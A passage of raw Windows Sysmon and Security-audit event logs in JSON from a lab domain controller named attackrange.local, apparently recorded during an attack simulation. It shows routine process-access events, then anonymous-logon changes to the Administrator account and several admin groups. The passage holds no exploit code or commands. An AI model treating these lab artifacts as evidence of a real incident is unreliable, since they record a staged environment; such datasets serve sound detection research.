C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:43.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-435B-5F2D-0000-001009C11100}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8505,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:43.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-435B-5F2D-0000-001009C11100}\r\nTargetProcessId: 4388\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:43.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-435B-5F2D-0000-001009C11100}","TargetProcessId":"4388","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8506,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:44.041\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-435C-5F2D-0000-00102CC61100}\r\nTargetProcessId: 4204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:44.041","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-435C-5F2D-0000-00102CC61100}","TargetProcessId":"4204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8507,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:44.041\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-435C-5F2D-0000-00102CC61100}\r\nTargetProcessId: 4204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:44.041","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-435C-5F2D-0000-00102CC61100}","TargetProcessId":"4204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:44","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8508,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:44.057\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-435C-5F2D-0000-00102CC61100}\r\nTargetProcessId: 4204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:44.057","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-435C-5F2D-0000-00102CC61100}","TargetProcessId":"4204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":222294,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42D3B\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{19195a5b-6da0-11d0-afd3-00c04fd930c9}\r\n\tObject Name:\t\t%{1a1420e2-98ff-4205-bf43-3003e1939ad5}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tControl Access\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x100\r\n\tProperties:\t\tControl Access\r\n\t\t{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}\r\n\t{19195a5b-6da0-11d0-afd3-00c04fd930c9}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\t-\r\n\tParameter 2:\t\t","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42d3b","ObjectServer":"DS","ObjectType":"%{19195a5b-6da0-11d0-afd3-00c04fd930c9}","ObjectName":"%{1a1420e2-98ff-4205-bf43-3003e1939ad5}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%7688\r\n\t\t\t\t","AccessMask":"0x100","Properties":"%%7688\r\n\t\t{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}\r\n\t{19195a5b-6da0-11d0-afd3-00c04fd930c9}\r\n","AdditionalInfo":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4738,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13824,"OpcodeValue":0,"RecordNumber":222295,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A user account was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nTarget Account:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tDisplay Name:\t\t-\r\n\tUser Principal Name:\t-\r\n\tHome Directory:\t\t-\r\n\tHome Drive:\t\t-\r\n\tScript Path:\t\t-\r\n\tProfile Path:\t\t-\r\n\tUser Workstations:\t-\r\n\tPassword Last Set:\t-\r\n\tAccount Expires:\t\t-\r\n\tPrimary Group ID:\t-\r\n\tAllowedToDelegateTo:\t-\r\n\tOld UAC Value:\t\t-\r\n\tNew UAC Value:\t\t-\r\n\tUser Account Control:\t-\r\n\tUser Parameters:\t-\r\n\tSID History:\t\t-\r\n\tLogon Hours:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"User Account Management","Opcode":"Info","Dummy":"-","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","DisplayName":"-","UserPrincipalName":"-","HomeDirectory":"-","HomePath":"-","ScriptPath":"-","ProfilePath":"-","UserWorkstations":"-","PasswordLastSet":"-","AccountExpires":"-","PrimaryGroupId":"-","AllowedToDelegateTo":"-","OldUacValue":"-","NewUacValue":"-","UserAccountControl":"-","UserParameters":"-","SidHistory":"-","LogonHours":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4755,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222296,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled universal group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-518\r\n\tGroup Name:\t\tSchema Admins\r\n\tGroup Domain:\t\tATTACKRANGE\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Schema Admins","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-518","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4737,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222297,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled global group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-512\r\n\tGroup Name:\t\tDomain Admins\r\n\tGroup Domain:\t\tATTACKRANGE\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Domain Admins","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-512","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4755,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222298,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled universal group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-519\r\n\tGroup Name:\t\tEnterprise Admins\r\n\tGroup Domain:\t\tATTACKRANGE\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Enterprise Admins","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-519","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4735,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222299,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled local group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-549\r\n\tGroup Name:\t\tServer Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Server Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-549","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4735,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222300,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled local group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-550\r\n\tGroup Name:\t\tPrint Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Print Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-550","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:50","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4735,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222301,"ProcessID":860,"ThreadID":108,"Channel":"Security","Message":"A security-enabled local group was changed.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-7\r\n\tAccount Name:\t\tANONYMOUS LOGON\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E6\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nChanged Attributes:\r\n\tSAM Account Name:\t-\r\n\tSID History:\t\t-\r\n\r\nAdditional Information:\r\n\tPrivileges:\t\t-","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-7","SubjectUserName":"ANONYMOUS LOGON","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e6","PrivilegeList":"-","SamAccountName":"-","SidHistory":"-","EventReceivedTime":"2020-08-07 12:04:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 